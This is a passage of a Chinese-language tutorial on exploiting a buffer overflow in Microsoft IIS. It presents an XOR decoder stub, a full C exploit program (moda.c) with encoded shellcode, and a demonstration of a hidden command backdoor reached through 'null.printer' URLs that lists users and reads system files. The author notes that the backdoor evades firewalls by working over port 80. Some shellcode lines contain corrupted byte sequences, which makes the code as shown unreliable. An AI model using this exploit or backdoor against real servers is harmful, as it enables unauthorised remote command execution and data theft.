讲完了第一个1%,现在讲第二个1%。第二个1%是“去空字节”,我想大家都知道是怎么回事:就是在传递黑客码之前,先把它们一个字节一个字节地处理一遍,把里面的空字节“\x00”给去掉,以免黑客码在传递过程中被支解掉;但大家可能不知道的是,在针对IIS的Exploit中,我们还要把黑客码中的字节“\x20”也给去掉,否则黑客码也会被IIS所支解。经过“去空字节”处理后的黑客码可以完整地到达IIS,但在执行它们之前,我们需要对它们作“逆处理”,也就是把它们还原成处理前的样子。

在这个Exploit中,“去空字节”的方法是用“\x96h”与黑客码(其实是98%的那部分)每一个字节作异或(XOR),这样处理后的黑客码中既不含空字节“\x00”,也不含空格字节“_5cx20”,它可以完整地传递到IIS并在logger中造成溢出。在溢出后黑客码开始运行,由于这时的黑客码是经过“\x96h”异或处理的,我们必须用“\x96h”对它再作一次异或,把它的黑客指令与指令表还原,然后它才能正式执行黑客指令(即开始执行Exploit IIS 第二步----黑客行动)。

下面就是用于还原黑客指令与指令表的异或运算:

00EFFCBA 83EBF1           sub         ebx,0FFFFFFF1h    //从地址0x00EFFCC7开始                                    //恢复
00EFFCBD 33C9             xor         ecx,ecx
00EFFCBF 66B91303         mov         cx,313h        //总共恢复0x313h个字节
00EFFCC3 803396           xor         byte ptr [ebx],96h    //XOR“\x96h”
00EFFCC6 43               inc         ebx        //移动指针到下一个恢复的字节
00EFFCC7 E2FA             loop        00EFFCC3    //循环作0x313h次XOR运算。
。。。。。。
(紧接着的是Exploit IIS 第二步----黑客行动的指令)


Exploit IIS 第五步----Exploit Client:


综合前面对黑客码各个部分的介绍,我们可以把它的内存分布情况用下图来表示:

0x00eff500
    用0x90909090冲填
0x00EFFCB9
0x00EFFCBA
    通过异或运算还原黑客码
0x00EFFCC8
0x00EFFCC9
    黑客行动码
0x00EFFE57
0x00EFFE58
    指令表
0x00EFFF4B
0x00EFFF4C
    假的HttpExtensionProc,也就是黑客渠道码
0x00EFFFDB
0x00EFFFDC
    被覆盖的_EXCEPTION_REGISTRATION_RECORD    
0x00EFFFED

要产生这样一个黑客码只是举手之劳,下面我给大家一个参考程序moda.c,它在Linux上编译及运行的。它精心构制了一个HTTP请求,这个HTTP请求的98%是经过异或处理的黑客码,1%则用于还原这些处理后的黑客码,最后1%是用于覆盖_EXCEPTION_REGISTRATION_RECORD。


========================moda.c============================================

#define SIZE 4106
#define ADJUST  1250

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

int main(int argc, char *argv[]){

unsigned char httpheader1[20]=    //    GET /HERO.htm"
"\x47\x45\x54\x20"
"\x2f\x48\x45\x52"
"\x4f\x2e\x68\x74"
"\x6d\x00";

unsigned char httpheader2[256]=    
"\xeb\x06\x90\x90"
"\x99\x5c\xed\x77"
"\x81\xc3\xde\xfc"
"\xff\xff\xff\xd3"
"\x20\x20\x48\x54"
"\x54\x50\x2f\x31"
"\x2e\x30\x0D\x0A"
"\x43\x6F\x6E\x74"
"\x65\x6E\x74\x2D"
"\x74\x79\x70\x65"
"\x3a\x20\x74\x65"
"\x78\x74\x2f\x78"
"\x6d\x6c\x20\x41"
"\x63\x63\x65\x70"
"\x74\x3a\x20\x2a"
"\x2f\x2a\x0a\x43"
"\x6f\x6e\x74\x65"
"\x6e\x74\x2d\x6c"
"\x65\x6e\x67\x74"
"\x68\x3a\x20\x32"
"\x37\x30\x34\x20"
"\x0d\x0a\x0d\x0a"
"\x00";



char payload[]=
"\x83\xEBPcxF1\x33\xC9\x66\xB9\x13\x03\x80\x33\x96\x43\xE2\xFA"
/* Payload encoded with x96*/
"\x7f"                                                            
"\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc
'5cx06\x96"
"\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95_5cx65\x1d\xe0\xee\x95"
"\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8Pcx82\xa5\x7b\xc0\xc1\xc7\x1d\xa9"
"\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15"
"\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47"
"\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57
'5cx77\x94"
"\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d_5cx46\x2f\x9a\x96\x96"
"\x96\x7e\x96\x97\x96\x96\xa5\x56Pcx3a\x13\x56\xe3\x6f\xc4\xc0\x69"
"\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe"
"\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a"
"\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97
'5cx96\x96"
"\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6_5cx1b\xd1\x86\xc6\x69"
"\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6Pcx1b\xd1\x82\xc6\x1b\xd1\x8e\xc6"
"\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2"
"\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96"
"\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6
'5cxa5\x56"
"\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53_5cx3e\x96\x96\x96\xc3"
"\xc6\x69\xc1\x4e\x69\xe1\x9a\x69Pcxc1\x6e\x69\xe1\x8e\x69\xc1\x6e"
"\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69"
"\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b"
"\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f
'5cx99\x96"
"\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92_5cxc6\x1d\xd1\x92\xc6"
"\xfe\x96\x97\x96\x96\x1d\xc1\x6aPcxc4\x69\xc1\x7a\xfe\x96\x4b\xfb"
"\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0"
"\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3"
"\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda
'5cxf9\xf7"
"\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5_5cxe4\xf3\xf7\xe2\xf3"
"\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2Pcxc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf"
"\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3"
"\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6"
"\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96
'5cxc1\xe4"
"\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7_5cxf2\xd0\xff\xfa\xf3"
"\x96\xc0\xff\xe4\xe2\xe3\xf7\xfaPcxc6\xe4\xf9\xe2\xf3\xf5\xe2\x96"
"\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5"
"\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5"
"\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3
'5cxf8\xe5"
"\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06_5cx06\x06\x06\x06\x06"
"\x06\x06\x06\x06\x06\x06\x06\x06Pcx06\x06\x06\x06\x06\x06\x06\x06"
"\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee"
"\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69"
"\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96
'5cxc9\x17"
"\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1_5cxa5\x56\xa5\x44\x1d"
"\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3Pcx92\x50\xd0\x69\xb6\x13\x56\xe3"
"\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5"
"\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1"
"\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16
'5cxa9\x96"
"\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69_5cxe1\x9e\x69\xe1\x86"
"\x69\xc1\x7e\x13\x56\xe2\x80\xfcPcx96\xc1\x69\xe1\x9e\x1d\xdd\x9e"
"\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69"
"\xc1\x62";                                                        



unsigned char *ptr;
unsigned char sploit[SIZE];

int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

if (argc != 3){
    printf("usage: %s <victimHost> <victimPort> \n",argv[0]);
    exit(1);
}

if ((ht = gethostbyname(argv[1])) == 0){
    herror(argv[1]);
    exit(1);
}
sin.sin_port = htons(atoi(argv[2]));
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);


ptr=sploit;
memcpy(ptr, httpheader1, strlen(httpheader1) );
ptr+=strlen(httpheader1);
memset(ptr,'\x90', SIZE - strlen(httpheader1) - strlen(httpheader2) -strlen(payload) -ADJUST);
ptr+=SIZE - strlen(httpheader1) -strlen(httpheader2) - strlen(payload) - ADJUST;
memcpy(ptr, payload, strlen(payload) );
ptr+= strlen(payload);
memcpy(ptr, httpheader2, strlen(httpheader2));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    perror("socket");
    exit(1);
}

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
    perror("connect");
    exit(1);
}

write(s, sploit, SIZE-ADJUST);
sleep (5);
close (s);

printf("sent... \n");
exit(0);
}

==========================================================================


Exploit IIS 最后一步----Enjoy胜利的果实:


请把moda.c在Linux上编译好,然后运行:

[moda@claton /home/moda] moda dallas 80

connecting...
sent...

[moda@claton /home/moda]


现在我们的黑客码已经潜入dallas上的IIS了,我们可以通过Web Browser向这个潜伏的特务分子发送命令:

命令之一:
http://dallas/null.printer?net[user


Browser显示的结果:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

D:\WINNT\system32>net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    IUSR_DALLAS              
IWAM_DALLAS              moda                 TsInternetUser          
VUSR_DALLAS              
The command completed with one or more errors.


D:\WINNT\system32>



命令之二:
http://dallas/null.printer?dir


Browser显示的结果:

D:\WINNT\system32>dir
Volume in drive D has no label.
Volume Serial Number is 7086-EBAD

Directory of D:\WINNT\system32

07/11/2002  10:46p      <DIR>          .
07/11/2002  10:46p      <DIR>          ..
10/29/2001  03:29p                 647 $winnt$.inf
10/29/2001  03:35p               4,108 $WINNT$.PNF
06/26/2000  09:15a               2,151 12520437.cpx
06/26/2000  09:15a               2,233 12520850.cpx
12/07/1999  05:00a              32,016 aaaamon.dll
12/07/1999  05:00a              67,344 access.cpl
12/07/1999  05:00a              13,753 accserv.mib
12/07/1999  05:00a              59,904 acctres.dll
12/07/1999  05:00a             150,800 accwiz.exe
12/07/1999  05:00a              61,952 acelpdec.ax
12/07/1999  05:00a             131,856 acledit.dll
12/07/1999  05:00a              78,096 aclui.dll
12/07/1999  05:00a              33,298 acs.mib
12/07/1999  05:00a               4,368 acsetupc.dll
12/07/1999  05:00a              17,168 acsetups.exe
12/07/1999  05:00a              11,536 acsmib.dll
。。。。。。。
。。。。。。。
12/07/1999  05:00a              73,776 wshom.ocx
12/07/1999  05:00a              17,680 wshtcpip.dll
12/07/1999  05:00a              39,696 wsnmp32.dll
12/07/1999  05:00a              21,776 wsock32.dll
12/07/1999  05:00a              14,608 wtsapi32.dll
12/07/1999  05:00a              25,872 wupdinfo.dll
12/07/1999  05:00a              47,376 wupdmgr.exe
12/07/1999  05:00a              92,432 xactsrv.dll
12/07/1999  05:00a              28,432 xcopy.exe
12/07/1999  05:00a             110,664 xenroll.dll
12/07/1999  05:00a             641,808 xiffr3_0.dll
12/07/1999  05:00a              17,680 xolehlp.dll
            2017 File(s)    291,632,897 bytes
              33 Dir(s)     531,480,576 bytes free

D:\WINNT\system32>


下面是几个连续的命令:先改变当前目录到C:盘,再看C:盘中有什么文件,最后看文件boot.ini的内容:

命令之三:
http://dallas/null.printer?c:


Browser显示的结果:

c:

C:\>

命令之四:
http://dallas/null.printer?dir


Browser显示的结果:

dir
Volume in drive C has no label.
Volume Serial Number is 8C3A-7F32

Directory of C:\

12/06/2000  09:20p      <DIR>          WINNT
12/06/2000  09:24p      <DIR>          Program Files
12/06/2000  09:41p      <DIR>          TEMP
12/06/2000  09:42p      <DIR>          InetPub
12/07/2000  09:37p      <DIR>          BTMAGIC.PQ
08/30/2000  05:43p                   0 tempfile.tmp
01/30/2001  12:06a      <DIR>          ETS
04/28/2002  10:16p          67,108,864 pagefile.sys
01/26/2002  08:55p                  39 dlr.log
07/07/2002  09:39p              26,877 winzip.log
06/23/2002  10:02p      <DIR>          mydocuments
               4 File(s)     67,135,780 bytes
               7 Dir(s)     739,213,312 bytes free

C:\>

命令之五:
http://dallas/null.printer?type[boot.ini


Browser显示的结果:

type boot.ini
[boot loader]
timeout=3
default=multi(0)disk(0)rdisk(0)partition(4)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(4)\WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00"
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00 [VGA mode]" /basevideo /sos

C:_5c>


结尾的话:


我自己觉得这个针对IISAPI的Exploit还是很有意思的,一方面它涉及了不少值得一学的东西,我就是通过设计这个Exploit加深了对CodeRed Worm、jill病毒、IISAPI 以及Structured Exception Handling的认识,熟悉了Windbg的使用;另一方面,这个Exploit本身有一些新东西在里面,它是通过HTTP端口(port 80)去发送命令及接收返回结果,所以可以不受防火墙(Firewall)的限制,也比较隐蔽。当然,要防止这种Virus的Exploit还是有不少办法的,象我前面提到的SiteMinder系统,它对每个HTTP请求的URL都会检查一遍,看看这个URL的目标是否被定义、是否被允许访问的,那么象http://dallas/null.printer?net[user之类的URL显然是不能通过它的法眼。只是这样一来,公司就要花很多的钱(10000美元一个月)来雇人设置SiteMinder,唉!成长的代价啊!
版权所有,未经许可,不得转载